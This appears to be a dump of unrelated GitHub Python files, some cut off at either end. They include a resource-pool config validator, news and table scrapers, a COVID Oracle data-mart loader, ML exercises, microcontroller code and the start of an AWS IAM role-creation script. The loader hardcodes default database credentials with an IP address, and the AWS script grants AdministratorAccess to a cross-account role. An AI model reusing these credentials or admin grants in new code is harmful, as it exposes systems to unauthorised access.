data...\")\nplot_concatenated_data_frame(data_frames)\nplot_data_frames_value_over_time(data_frames)\nplot_descriptive_statistics_table(descriptive_statistics_table)\nplot_correlation_matrix_heatmap(correlation_matrix)\nplot_normal_distributions(data_frames)\nplot_linear_regression_tables(linear_regressions)\nplot_linear_regression_graphs(data_frames)\nplot_linear_regression_tables(transformed_regressions, True)\nplot_residuals(linear_regressions, transformed_regressions)\nplot_residual_normal_distributions(transformed_regressions, True)\nprint(\"Done plotting data... \\n\")\n","repo_name":"DMoest/mathModProject","sub_path":"mathmod_project.py","file_name":"mathmod_project.py","file_ext":"py","file_size_in_byte":29026,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"24701979895","text":"import json\nfrom os.path import join, dirname\nimport re\nimport jsonschema\n\nimport caps\nimport common\nimport pid_ops\nimport power\n\n\nclass ConfigStore:\n \"\"\"\n Class to handle config file operations\n \"\"\"\n\n\n def __init__(self):\n self.namespace = common.MANAGER.Namespace()\n self.namespace.config = {}\n self.namespace.path = None\n self.changed_event = common.MANAGER.Event()\n\n\n def get_pool_attr(self, attr, pool_id):\n \"\"\"\n Get specific attribute from config\n\n Parameters:\n attr: Attribute to be found in config\n pool_id: Id of pool to find attribute\n\n Returns:\n attribute value or None\n \"\"\"\n\n data = self.get_config()\n\n if pool_id is not None:\n for pool in data['pools']:\n if pool['id'] == pool_id:\n return pool.get(attr)\n else:\n result = []\n for pool in data['pools']:\n if attr in pool:\n if isinstance(pool[attr], list):\n result.extend(pool[attr])\n else:\n result.append(pool[attr])\n if result:\n return result\n\n return None\n\n\n def get_app_attr(self, attr, app_id):\n \"\"\"\n Get specific attribute from config\n\n Parameters:\n attr: Attribute to be found in config\n app_id: Id of app to find attribute\n\n Returns:\n attribute value or None\n \"\"\"\n\n data = self.get_config()\n\n for app in data['apps']:\n if app['id'] == app_id:\n if attr in app:\n return app[attr]\n\n return None\n\n\n def set_path(self, path):\n \"\"\"\n Set path to configuration file\n\n Parameters:\n path: path to config file\n \"\"\"\n self.namespace.path = path\n\n\n def get_path(self):\n \"\"\"\n Get path to configuration file\n\n Returns:\n path: path to config file\n \"\"\"\n return self.namespace.path\n\n\n def reset(self):\n \"\"\"\n Reset configuration, reload config file\n \"\"\"\n\n self.from_file(self.get_path())\n\n\n @staticmethod\n def get_pool(data, pool_id):\n \"\"\"\n Get pool\n\n Parameters\n data: configuration (dict)\n pool_id: pool id\n\n Return\n Pool details\n \"\"\"\n if 'pools' not in data:\n raise KeyError(\"No pools in config\")\n\n for pool in data['pools']:\n if pool['id'] == pool_id:\n return pool\n\n raise KeyError(\"Pool {} does not exists.\".format(pool_id))\n\n\n @staticmethod\n def get_app(data, app_id):\n \"\"\"\n Get app\n\n Parameters\n data: configuration (dict)\n app_id: app id\n\n Return\n Pool details\n \"\"\"\n if 'apps' not in data:\n raise KeyError(\"App {} does not exist. No apps in config.\".format(app_id))\n\n for app in data['apps']:\n if app['id'] == app_id:\n return app\n\n raise KeyError(\"App {} does not exist.\".format(app_id))\n\n\n @staticmethod\n def get_power(data, power_id):\n \"\"\"\n Get power\n\n Parameters\n data: configuration (dict)\n id: power profile id\n\n Return\n Pool details\n \"\"\"\n if 'power_profiles' not in data:\n raise KeyError(\"No power profiles in config\")\n\n for profile in data['power_profiles']:\n if profile[\"id\"] == power_id:\n return profile\n\n raise KeyError((\"Power profile {} does not exists\").format(power_id))\n\n\n @staticmethod\n def validate(data, power_admission_control=False):\n \"\"\"\n Validate configuration\n\n Parameters\n data: configuration (dict)\n \"\"\"\n\n # validates config schema\n schema, resolver = ConfigStore.load_json_schema('appqos.json')\n jsonschema.validate(data, schema, resolver=resolver)\n\n ConfigStore._validate_pools(data)\n ConfigStore._validate_apps(data)\n power.validate_power_profiles(data, power_admission_control)\n\n\n @staticmethod\n def _validate_pools(data):\n \"\"\"\n Validate Pools configuration\n\n Parameters\n data: configuration (dict)\n \"\"\"\n if not 'pools' in data:\n return\n\n # verify pools\n cores = set()\n pool_ids = []\n\n for pool in data['pools']:\n # id\n if pool['id'] in pool_ids:\n raise ValueError(\"Pool {}, multiple pools with same id.\".format(pool['id']))\n pool_ids.append(pool['id'])\n\n # pool cores\n for core in pool['cores']:\n if not common.PQOS_API.check_core(core):\n raise ValueError(\"Pool {}, Invalid core {}.\".format(pool['id'], core))\n\n if cores.intersection(pool['cores']):\n raise ValueError(\"Pool {}, Cores {} already assigned to another pool.\"\\\n .format(pool['id'], cores.intersection(pool['cores'])))\n\n cores |= set(pool['cores'])\n\n # check app reference\n if 'apps' in pool:\n for app_id in pool['apps']:\n ConfigStore.get_app(data, app_id)\n\n if 'cbm' in pool:\n result = re.search('1{1,32}0{1,32}1{1,32}', bin(pool['cbm']))\n if result or pool['cbm'] == 0:\n raise ValueError(\"Pool {}, CBM {}/{} is not contiguous.\"\\\n .format(pool['id'], hex(pool['cbm']), bin(pool['cbm'])))\n if not caps.cat_supported():\n raise ValueError(\"Pool {}, CBM {}/{}, CAT is not supported.\"\\\n .format(pool['id'], hex(pool['cbm']), bin(pool['cbm'])))\n\n if 'mba' in pool:\n if pool['mba'] > 100 or pool['mba'] <= 0:\n raise ValueError(\"Pool {}, MBA rate {} out of range! (1-100).\"\\\n .format(pool['id'], pool['mba']))\n if not caps.mba_supported():\n raise ValueError(\"Pool {}, MBA rate {}, MBA is not supported.\"\\\n .format(pool['id'], pool['mba']))\n\n # check power profile reference\n if 'power_profile' in pool:\n ConfigStore.get_power(data, pool['power_profile'])\n\n\n @staticmethod\n def _validate_apps(data):\n \"\"\"\n Validate Apps configuration\n\n Parameters\n data: configuration (dict)\n \"\"\"\n if not 'apps' in data:\n return\n\n # verify apps\n pids = set()\n app_ids = []\n\n for app in data['apps']:\n # id\n if app['id'] in app_ids:\n raise ValueError(\"App {}, multiple apps with same id.\".format(app['id']))\n app_ids.append(app['id'])\n\n # app's cores validation\n if 'cores' in app:\n for core in app['cores']:\n if not common.PQOS_API.check_core(core):\n raise ValueError(\"App {}, Invalid core {}.\".format(app['id'], core))\n\n # app's pool validation\n app_pool = None\n for pool in data['pools']:\n if 'apps' in pool and app['id'] in pool['apps']:\n if app_pool:\n raise ValueError(\"App {}, Assigned to more than one pool.\"\\\n .format(app['id']))\n app_pool = pool\n\n if app_pool is None:\n raise ValueError(\"App {} not assigned to any pool.\".format(app['id']))\n\n if 'cores' in app:\n diff_cores = set(app['cores']).difference(app_pool['cores'])\n if diff_cores:\n raise ValueError(\"App {}, cores {} does not match Pool {}.\"\\\n .format(app['id'], diff_cores, app_pool['id']))\n\n # app's pids validation\n for pid in app['pids']:\n if not pid_ops.is_pid_valid(pid):\n raise ValueError(\"App {}, PID {} is not valid.\".format(app['id'], pid))\n\n if pids.intersection(app['pids']):\n raise ValueError(\"App {}, PIDs {} already assigned to another App.\"\\\n .format(app['id'], pids.intersection(app['pids'])))\n\n pids |= set(app['pids'])\n\n\n def from_file(self, path):\n \"\"\"\n Retrieve config from file\n\n Parameters:\n path: path to config file\n \"\"\"\n self.set_path(path)\n data = self.load(path)\n\n if not self.is_default_pool_defined(data):\n self.add_default_pool(data)\n\n power_admission_check_cfg = data.get('power_profiles_verify', True)\n\n self.validate(data, power_admission_check_cfg)\n\n self.set_config(data)\n\n\n @staticmethod\n def load_json_schema(filename):\n \"\"\"\n Loads the given schema file\n\n Parameters:\n filename: path to JSON schema file\n Returns:\n schema: schema\n resolver: resolver\n \"\"\"\n # find path to schema\n relative_path = join('schema', filename)\n absolute_path = join(dirname(__file__), relative_path)\n # path to all schema files\n schema_path = 'file:' + str(join(dirname(__file__), 'schema')) + '/'\n with open(absolute_path, opener=common.check_link) as schema_file:\n # add resolver for python to find all schema files\n schema = json.loads(schema_file.read())\n return schema, jsonschema.RefResolver(schema_path, schema)\n\n\n @staticmethod\n def load(path):\n \"\"\"\n Load configuration from file\n\n Parameters:\n path: Path of the configuration file\n\n Returns:\n schema validated configuration\n \"\"\"\n with open(path, 'r', opener=common.check_link) as fd:\n raw_data = fd.read()\n data = json.loads(raw_data.replace('\\r\\n', '\\\\r\\\\n'))\n\n # validates config schema from config file\n schema, resolver = ConfigStore.load_json_schema('appqos.json')\n jsonschema.validate(data, schema, resolver=resolver)\n\n # convert cbm to int\n for pool in data['pools']:\n if 'cbm' in pool and not isinstance(pool['cbm'], int):\n pool['cbm'] = int(pool['cbm'], 16)\n\n return data\n\n return None\n\n\n def pid_to_app(self, pid):\n \"\"\"\n Gets APP ID for PID\n\n Parameters:\n pid: PID to get APP ID for\n\n Returns:\n App ID, None on error\n \"\"\"\n if not pid:\n return None\n\n data = self.get_config()\n for app in data['apps']:\n if not ('id' in app and 'pids' in app):\n continue\n if pid in app['pids']:\n return app['id']\n return None\n\n\n def app_to_pool(self, app):\n \"\"\"\n Gets Pool ID for App\n\n Parameters:\n app: App ID to get Pool ID for\n\n Returns:\n Pool ID or None on error\n \"\"\"\n if not app:\n return None\n data = self.get_config()\n for pool in data['pools']:\n if not ('id' in pool and 'apps' in pool):\n continue\n if app in pool['apps']:\n return pool['id']\n return None\n\n\n def pid_to_pool(self, pid):\n \"\"\"\n Gets Pool ID for PID\n\n Parameters:\n PID: PID to get Pool ID for\n\n Returns:\n Pool ID or None on error\n \"\"\"\n app_id = self.pid_to_app(pid)\n return self.app_to_pool(app_id)\n\n\n def set_config(self, data):\n \"\"\"\n Set shared (via IPC, namespace) configuration\n\n Parameters:\n data: new configuration\n \"\"\"\n\n self.namespace.config = data\n self.changed_event.set()\n\n\n def get_config(self):\n \"\"\"\n Get shared (via IPC, namespace) configuration\n Returns:\n shared configuration (dict)\n \"\"\"\n return self.namespace.config\n\n\n def get_power_profile(self, power_profile_id):\n \"\"\"\n Get power profile configuration\n\n Parameters:\n power_profile_id: id of power profile\n \"\"\"\n config = self.get_config()\n\n return self.get_power(config, power_profile_id)\n\n\n def is_config_changed(self):\n \"\"\"\n Check was shared configuration marked as changed\n\n Returns:\n result\n \"\"\"\n try:\n self.changed_event.wait(0.1)\n result = self.changed_event.is_set()\n if result:\n self.changed_event.clear()\n except IOError:\n result = False\n\n return result\n\n\n @staticmethod\n def is_default_pool_defined(data):\n \"\"\"\n Check is Default pool defined\n\n Returns:\n result\n \"\"\"\n for pool in data['pools']:\n if pool['id'] == 0:\n return True\n\n return False\n\n @staticmethod\n def add_default_pool(data):\n \"\"\"\n Update config with \"Default\" pool\n \"\"\"\n\n # no Default pool configured\n default_pool = {}\n default_pool['id'] = 0\n\n if caps.mba_supported():\n default_pool['mba'] = 100\n\n if caps.cat_supported():\n default_pool['cbm'] = common.PQOS_API.get_max_l3_cat_cbm()\n\n default_pool['name'] = \"Default\"\n\n # Use all unallocated cores\n default_pool['cores'] = list(range(common.PQOS_API.get_num_cores()))\n for pool in data['pools']:\n default_pool['cores'] = \\\n [core for core in default_pool['cores'] if core not in pool['cores']]\n\n data['pools'].append(default_pool)\n\n\n def get_new_pool_id(self, new_pool_data):\n \"\"\"\n Get ID for new Pool\n\n Returns:\n ID for new Pool\n \"\"\"\n # get max cos id for combination of allocation technologies\n alloc_type = []\n if 'mba' in new_pool_data:\n alloc_type.append(common.MBA_CAP)\n if 'cbm' in new_pool_data:\n alloc_type.append(common.CAT_CAP)\n max_cos_id = common.PQOS_API.get_max_cos_id(alloc_type)\n\n data = self.get_config()\n\n # put all pool ids into list\n pool_ids = []\n for pool in data['pools']:\n pool_ids.append(pool['id'])\n\n # no pool found in config, return highest id\n if not pool_ids:\n return max_cos_id\n\n # find highest available id\n new_ids = list(set(range(1, max_cos_id + 1)) - set(pool_ids))\n if new_ids:\n new_ids.sort()\n return new_ids[-1]\n\n return None\n\n\n def get_new_app_id(self):\n \"\"\"\n Get ID for new App\n\n Returns:\n ID for new App\n \"\"\"\n\n data = self.get_config()\n\n # put all ids into list\n app_ids = []\n for app in data['apps']:\n app_ids.append(app['id'])\n app_ids = sorted(app_ids)\n # no app found in config\n if not app_ids:\n return 1\n\n # add new app to apps\n # find an id\n new_ids = list(set(range(1, app_ids[-1])) - set(app_ids))\n if new_ids:\n return new_ids[0]\n\n return app_ids[-1] + 1\n\n\n def get_new_power_profile_id(self):\n \"\"\"\n Get ID for new Power Profile\n\n Returns:\n ID for new Power Profile\n \"\"\"\n\n data = self.get_config()\n\n # no profile found in config\n if 'power_profiles' not in data:\n return 0\n\n # put all ids into list\n profile_ids = []\n for profile in data['power_profiles']:\n profile_ids.append(profile['id'])\n\n profile_ids = sorted(profile_ids)\n\n # no profile found in config\n if not profile_ids:\n return 1\n\n # find first available profile id\n new_ids = list(set(range(1, profile_ids[-1])) - set(profile_ids))\n if new_ids:\n return new_ids[0]\n\n return profile_ids[-1] + 1\n\n\n def get_global_attr(self, attr, default):\n \"\"\"\n Get specific global attribute from config\n\n Parameters:\n attr: global attribute to be found in config\n\n Returns:\n attribute value or None\n \"\"\"\n\n data = self.get_config()\n\n if attr not in data:\n return default\n\n return data[attr]\n","repo_name":"James-QiuHaoran/CoCo","sub_path":"intel-cmt-cat/appqos/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":16623,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"44424990043","text":"import json\nimport re\nfrom datetime import datetime\n\nimport pytz\nimport requests\n\n\ndef scrape_table(output_path, output_filename, url, fields, start, skip_totals=False):\n output_path.mkdir(parents=True, exist_ok=True)\n\n response = requests.get(url)\n data = response.text\n\n start = data.find(start)\n end = data.find(\"\", start)\n table = data[start:end]\n\n regex = r\"\\n\\t+\".join([r'(?P<' + field + r\">.*?)\" for field in fields])\n\n rows = re.finditer(regex, table, re.DOTALL)\n\n now = datetime.now(tz=pytz.utc)\n nzst = pytz.country_timezones.get(\"nzst\")\n\n output = {\n \"_meta\": {\n \"url\": url,\n },\n \"data\": []\n }\n\n for row in rows:\n out = {}\n for field, t in fields.items():\n try:\n value = t(row.group(field))\n except:\n value = \"\"\n out[field] = value\n\n output['data'].append(out)\n\n if skip_totals:\n output['data'] = output['data'][:-1]\n\n with open(output_path / (output_filename + \".json\"), \"w\") as f:\n json.dump(output, f, indent=4)\n","repo_name":"ollytheninja/covid.geek.nz","sub_path":"src/lib.py","file_name":"lib.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"10323841128","text":"\"\"\"\nНаписать приложение, которое собирает основные новости с сайта yandex-новости.\nДля парсинга использовать XPath. Структура данных должна содержать:\nназвание источника;\nнаименование новости;\nссылку на новость;\nдата публикации.\nСложить собранные новости в БД\n\"\"\"\n\nimport requests\nfrom lxml import html\nfrom datetime import datetime, timedelta\nfrom pymongo import MongoClient\n\n\ndef to_date(date: list):\n date = date[0].split(' ')\n today = datetime.now().date()\n yesterday = (today - timedelta(days=1))\n if len(date) == 1:\n current_date = f'{today:%d.%m.%Y} {date[0]}'\n else:\n current_date = f'{yesterday:%d.%m.%Y} {date[-1]}'\n return current_date\n\n\ndef fill_mongo(data, data_base):\n contains = data_base.news.find_one({'link': data['link']})\n if not contains:\n data_base.news.insert_one(data)\n print('[INFO] Add news')\n\n\nif __name__ == '__main__':\n # requests\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.174 YaBrowser/22.1.3.848 Yowser/2.5 Safari/537.36'}\n response = requests.get('https://yandex.ru/news/', headers=headers)\n\n\n # MongoDB setup\n client = MongoClient('localhost', 27017)\n db = client['news_data']\n\n # parse\n dom = html.fromstring(response.text)\n\n items = dom.xpath(\"//section[@aria-labelledby]//div[contains(@class, 'mg-card ')]\")\n\n for item in items:\n root = response.url\n title = ''.join(item.xpath(\".//h2[@class]/a/text()\")).replace('\\xa0', ' ')\n link = item.xpath(\".//h2[@class]/a/@href\")[0]\n date = to_date(item.xpath(\".//*[@class='mg-card-source__time']/text()\"))\n news_info = dict(root=root, title=title, link=link, date=date)\n fill_mongo(data=news_info, data_base=db)\n","repo_name":"ruslan4432013/Internet-data-proccessing","sub_path":"lesson_4/parse_news_from_yandex.py","file_name":"parse_news_from_yandex.py","file_ext":"py","file_size_in_byte":2010,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"20561706740","text":"# -*- coding: utf-8 -*-\nimport argparse\nimport cx_Oracle\nimport datetime\nimport io\nimport pandas as pd\nimport requests\nfrom sqlalchemy import create_engine\n\nparser = argparse.ArgumentParser(description='Loading data to database.')\nparser.add_argument('--instantclient', type=str, default=r\"C:\\oracle\\instantclient_19_8_x64\")\nparser.add_argument('--user', type=str, default=\"covid\")\nparser.add_argument('--pwd', type=str, default=\"covid\")\nparser.add_argument('--ip', type=str, default=\"137.204.74.10\")\nparser.add_argument('--port', type=str, default=\"1521\")\nparser.add_argument('--db', type=str, default=\"research\")\nargs = parser.parse_args()\n\n# MySQL engine\n# engine = create_engine(\"mysql+pymysql://{user}:{pw}@{ip}:{port}/{db}\".format(user=args.user, pw=args.pwd, ip=args.ip, port=args.port, db=args.db))\n# Oracle engine\ncx_Oracle.init_oracle_client(lib_dir=args.instantclient)\nsid = cx_Oracle.makedsn(args.ip, args.port, sid=args.db)\nengine = create_engine('oracle://{user}:{password}@{sid}?charset=utf8'.format(user=args.user, password=args.pwd, sid=sid))\n\n# Read from REMOTE URL\nurl = \"https://opendata.ecdc.europa.eu/covid19/casedistribution/csv\"\ns = requests.get(url).content\ndata = pd.read_csv(io.StringIO(s.decode('utf-8-sig'))) # read from remote URL\ndata.to_csv(\"../../../resources/describe/covid.csv\", index=False)\ndata.columns = [x.upper() for x in data.columns]\n# Read from FILE\n# df = pd.read_csv(\"../../../resources/describe/covid.csv\") # load from csv\n\ndf = data\nnum = df._get_numeric_data()\nnum[num < 0] = 0\nprint(df)\ndf = df[df['COUNTRIESANDTERRITORIES'].notnull() & df['GEOID'].notnull() & df['POPDATA2019'].notnull()]\n\ndf[\"DATEREP\"] = df[\"DATEREP\"].apply(lambda x: datetime.datetime.strptime(x, '%d/%m/%Y'))\ndf[\"MONTH\"] = df[\"DATEREP\"].apply(lambda x: x.strftime('%Y-%m'))\ndf[\"DATEREP\"] = df[\"DATEREP\"].apply(lambda x: x.strftime('%Y-%m-%d'))\n\ncountry = df[[\"GEOID\", \"COUNTRIESANDTERRITORIES\", \"COUNTRYTERRITORYCODE\", \"POPDATA2019\", \"CONTINENTEXP\"]]\ncountry = country.drop_duplicates()\n\ndate = df[[\"DATEREP\", \"MONTH\", \"YEAR\"]]\ndate = date.drop_duplicates()\n\ndf[\"CASES100K\"] = df[\"CASES\"] / (df[\"POPDATA2019\"] / 100000)\ndf[\"CASES1M\"] = df[\"CASES\"] / (df[\"POPDATA2019\"] / 1000000)\ndf[\"DEATHS100K\"] = df[\"DEATHS\"] / (df[\"POPDATA2019\"] / 100000)\ndf[\"DEATHS1M\"] = df[\"DEATHS\"] / (df[\"POPDATA2019\"] / 1000000)\ndf[\"DEATHS14\"] = df.apply(lambda x: x[\"DEATHS\"] / (x[\"POPDATA2019\"] / 100000) if x[\"DATEREP\"] >= \"2020/05/04\" else 0, axis=1)\ndf[\"CASES14\"] = df.apply(lambda x: x[\"CASES\"] / (x[\"POPDATA2019\"] / 100000) if x[\"DATEREP\"] >= \"2020/05/04\" else 0, axis=1)\n\nfact = df[[\"DATEREP\", \"COUNTRIESANDTERRITORIES\",\n \"CASES\", \"CASES100K\", \"CASES1M\", \"CASES14\",\n \"DEATHS\", \"DEATHS100K\", \"DEATHS1M\", \"DEATHS14\"]]\nfact = fact.drop_duplicates()\n\nquery_country = 'INSERT INTO COUNTRY VALUES (:1, :2, :3, :4, :5)'\nquery_date = 'INSERT INTO COVIDDATE VALUES (:1, :2, :3)'\nquery_fact = 'INSERT INTO COVIDFACT VALUES (:1, :2, :3, :4, :5, :6, :7, :8, :9, :10)'\n\ndef append(query, df):\n db = cx_Oracle.connect(args.user, args.pwd, args.ip + \"/\" + args.db, encoding=\"UTF-8\")\n cursor = db.cursor()\n my_data = []\n for row in df.values:\n my_data.append(tuple(row))\n if (len(my_data) > 10000):\n print(my_data[0])\n cursor.executemany(query, my_data)\n db.commit()\n my_data = []\n cursor.executemany(query, my_data)\n cursor.close()\n db.commit()\n\nappend(query_country, country)\nappend(query_date, date)\nappend(query_fact, fact)\n# country.to_sql(con=engine, name='country', if_exists='append', index=False) #, method='multi'\n# print(\"Done country\")\n# date.to_sql(con=engine, name='coviddate', if_exists='append', index=False)\n# print(\"Done date\")\n# fact.to_sql(con=engine, name='covidfact', if_exists='append', index=False)\n# print(\"Done fact\")","repo_name":"big-unibo/assess","sub_path":"intentional/src/main/python/covid_mart.py","file_name":"covid_mart.py","file_ext":"py","file_size_in_byte":3830,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"23"} +{"seq_id":"39319843310","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jul 28 12:23:16 2019\n\n@author: Akhil\n\"\"\"\nl=[1,1,2,6,4,2,2,4,2,8]\ndef digit(n):\n if n<10:\n return l[n]\n elif int(str(n)[-2])%2==0:\n return (6*digit(n//5)*digit(n%10))%10\n else:\n return (4*digit(n//5)*digit(n%10))%10\nx=int(input(\"Enter a number: \"))\nprint(\"first non zero digit of factorial is : \",digit(x))\n","repo_name":"akhil-eppa/python-prog","sub_path":"p5.py","file_name":"p5.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"2293795777","text":"import scipy as sp\nimport scipy.linalg as linalg\nimport matplotlib.pyplot as plt\n\nfrom app.ex1 import housing_data, gradient_descent as graddesc\n\ndef run():\n data = sp.copy(housing_data)\n x = data[:, [0, 1]]\n y = data[:, [2]]\n m = sp.shape(y)[0]\n \n # Normalize the x values\n (x, mu, sigma) = graddesc.featureNormalize(x)\n \n # Add intercept term to x\n x = sp.concatenate((sp.ones((m, 1)), x), axis=1)\n \n # Init Theta and run Gradient Descent\n num_iters = 400\n \n # Choose some alpha value\n alphas = [0.01, 0.03, 0.1, 0.3, 1.0]\n \n for alpha in alphas:\n theta = sp.zeros((3, 1))\n (theta, J_history) = graddesc.gradientDescent(x, y, theta, alpha, num_iters)\n # Plot the value of J by number of iterations\n plt.plot(range(1, J_history.size+1), J_history, '-b')\n plt.title('Alpha = %f' % (alpha))\n plt.xlabel('Number of iterations')\n plt.ylabel('J')\n plt.xlim([0, 50])\n plt.show(block=True)\n \n # Estimate the price of a 1650 sq-ft, 3 br house\n price = 0\n house = sp.array([[1.0, 1650.0, 3.0]])\n # Normalize the features\n house[0, 1:] = (house[0, 1:] - mu) / sigma\n price = house.dot(theta)\n print('The estimated price with alpha', alpha, 'is', price[0, 0])\n \n # Reload the data\n data = sp.copy(housing_data)\n \n x = data[:, [0, 1]]\n y = data[:, [2]]\n \n # Add intercept term to x\n x = sp.concatenate((sp.ones((m, 1)), x), axis=1)\n \n # Calculate the normal equation\n theta = graddesc.normalEqn(x, y)\n print('Theta computed from the normal equations:')\n print(theta)\n","repo_name":"DarinM223/machine-learning-coursera-python","sub_path":"app/ex1/ex1_multi.py","file_name":"ex1_multi.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"7434019854","text":"# read an analog input and print the value to serial\n# use simpleio map_range function to map the 16bit value to 8bit range\n# set neopixels color with the 8bit value\n\n# import modules and libraries\nimport board\nimport neopixel\nimport analogio\nimport time\nfrom simpleio import map_range\n\n# declare neopixel object with onboard neopixel pin\npixels = neopixel.NeoPixel(board.NEOPIXEL, 10)\n\n# declare analog input object on pin A1\nanalog_in = analogio.AnalogIn(board.A1)\n\n# create a color variable and fill the pixels with the color\ncolor = (0, 0, 0)\npixels.fill(color)\n\n# repeat this code forever\nwhile True:\n # gather input\n reading = analog_in.value\n\n # do calculation: scale 16-bit reading to 8-bit value\n scaled_val = map_range(reading, 0, 65535, 0, 255)\n # cast float scaled_val to int()\n scaled_val = int(scaled_val)\n print(scaled_val)\n\n # set new color value\n color = (0, scaled_val, scaled_val)\n\n # do output\n pixels.fill(color)\n\n # sleep to prevent buffer overrun\n time.sleep(0.1)","repo_name":"RealAbsurdity/CP_PHCR","sub_path":"04_analogio_AnalogIO/05_basic_analogIn_simpleio_map-range.py","file_name":"05_basic_analogIn_simpleio_map-range.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"23"} +{"seq_id":"25896571230","text":"#Escreva um programa que leia um valor em metros e o exiba convertido em centimetros e milimetros\nvalor = int(input('Informe o valor: '))\nop = int(input('>>>>>>>>>>>>>>>>>>>> Conversor <<<<<<<<<<<<<<<<<<< \\n 1 - Converter para centimetros \\n 2 - Converter para milimetros \\n'))\n\ndef conversor(op):\n if(op == 1):\n cent = valor * 100\n print('{} metros = {} cm'.format(valor,cent))\n elif(op == 2):\n mili = valor * 1000\n print('{} metros = {} milimentros'.format(valor,mili))\n else:\n print('Comando Invalido')\n\nconversor(op)","repo_name":"so-tha/.py","sub_path":"ex009.py","file_name":"ex009.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"19864100978","text":"# Nathan Zhu May 7th, 2020. Stockton, CA, saw Amber today on a walk\n# Leetcode 413 | medium | not bad\n# Category: Math, sliding window\n# Can do it with dp, not done w dp here\n\n\ndef numberOfArithmeticSlices(self, A):\n \"\"\"\n :type A: List[int]\n :rtype: int\n \"\"\"\n def calc_sub(N):\n ret = 0\n t = N\n while t >= 3:\n ret += (N - t + 1)\n t -= 1\n return ret \n \n \n if len(A) < 3: return 0\n N, i = len(A), 2\n ret = 0\n while i < N:\n if A[i] - A[i - 1] == A[i - 1] - A[i - 2]:\n cnt = 2\n diff = A[i] - A[i - 1]\n while i < N and A[i] == A[i - 1] + diff:\n i += 1\n cnt += 1\n \n ret += calc_sub(cnt)\n else:\n i += 1\n \n return ret","repo_name":"nathanzhu144/practices","sub_path":"slidingwindow/413_arithmetic_slices.py","file_name":"413_arithmetic_slices.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"23"} +{"seq_id":"25952176141","text":"#!/usr/bin/env python3\n\n\nimport Inventory_Modules\nfrom Inventory_Modules import get_credentials_for_accounts_in_org\nfrom ArgumentsClass import CommonArguments\nfrom account_class import aws_acct_access\nfrom time import time\nfrom colorama import init, Fore\nfrom botocore.exceptions import ClientError\n\nimport logging\n\ninit()\n__version__ = \"2023.05.10\"\n\nparser = CommonArguments()\nparser.multiprofile()\nparser.multiregion()\nparser.roletouse()\nparser.extendedargs()\nparser.rootOnly()\nparser.timing()\nparser.verbosity()\nparser.version(__version__)\n\ngroup = parser.my_parser.add_mutually_exclusive_group(required=True)\ngroup.add_argument(\n\t\"+r\", \"--RoleToAdd\",\n\tdest=\"pRoleNameToAdd\",\n\tmetavar=\"role to create\",\n\tdefault=None,\n\thelp=\"Rolename to be added to a number of accounts\")\ngroup.add_argument(\n\t\"-c\", \"--rolecheck\",\n\tdest=\"pRoleNameToCheck\",\n\tmetavar=\"role to check to see if it exists\",\n\tdefault=None,\n\thelp=\"Rolename to be checked for existence\")\ngroup.add_argument(\n\t\"--RoleToRemove\",\n\tdest=\"pRoleNameToRemove\",\n\tmetavar=\"role to remove\",\n\tdefault=None,\n\thelp=\"Rolename to be removed from a number of accounts\")\nargs = parser.my_parser.parse_args()\n\npProfiles = args.Profiles\npTiming = args.Time\npSkipAccounts = args.SkipAccounts\npSkipProfiles = args.SkipProfiles\npRootOnly = args.RootOnly\npAccounts = args.Accounts\npRoleToUse = args.AccessRole\npRoleNameToAdd = args.pRoleNameToAdd\npRoleNameToRemove = args.pRoleNameToRemove\npRoleNameToCheck = args.pRoleNameToCheck\nverbose = args.loglevel\nlogging.basicConfig(level=args.loglevel, format=\"[%(filename)s:%(lineno)s - %(funcName)20s() ] %(message)s\")\n\n\n##########################\n\n\ndef createrole(ocredentials, frole):\n\timport simplejson as json\n\timport boto3\n\t\"\"\"\n\tocredentials is an object with the following structure:\n\t\t- ['AccessKeyId'] holds the AWS_ACCESS_KEY\n\t\t- ['SecretAccessKey'] holds the AWS_SECRET_ACCESS_KEY\n\t\t- ['SessionToken'] holds the AWS_SESSION_TOKEN\n\t\t- ['AccountId'] holds the account number you're connecting to\n\t\"\"\"\n\tTrust_Policy = {\"Version\" : \"2012-10-17\",\n\t\t\t\t\t\"Statement\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"Effect\" : \"Allow\",\n\t\t\t\t\t\t\t\"Principal\": {\n\t\t\t\t\t\t\t\t\"AWS\": [\n\t\t\t\t\t\t\t\t\tf\"arn:aws:iam::{ocredentials['MgmtAccount']}:root\"\n\t\t\t\t\t\t\t\t]\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\"Action\" : \"sts:AssumeRole\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t\t}\n\n\tAdminPolicy = 'arn:aws:iam::aws:policy/AdministratorAccess'\n\n\tTrust_Policy_json = json.dumps(Trust_Policy)\n\n\tsession_iam = boto3.Session(\n\t\taws_access_key_id=ocredentials['AccessKeyId'],\n\t\taws_secret_access_key=ocredentials['SecretAccessKey'],\n\t\taws_session_token=ocredentials['SessionToken'],\n\t\tregion_name=ocredentials['Region']\n\t)\n\n\tclient_iam = 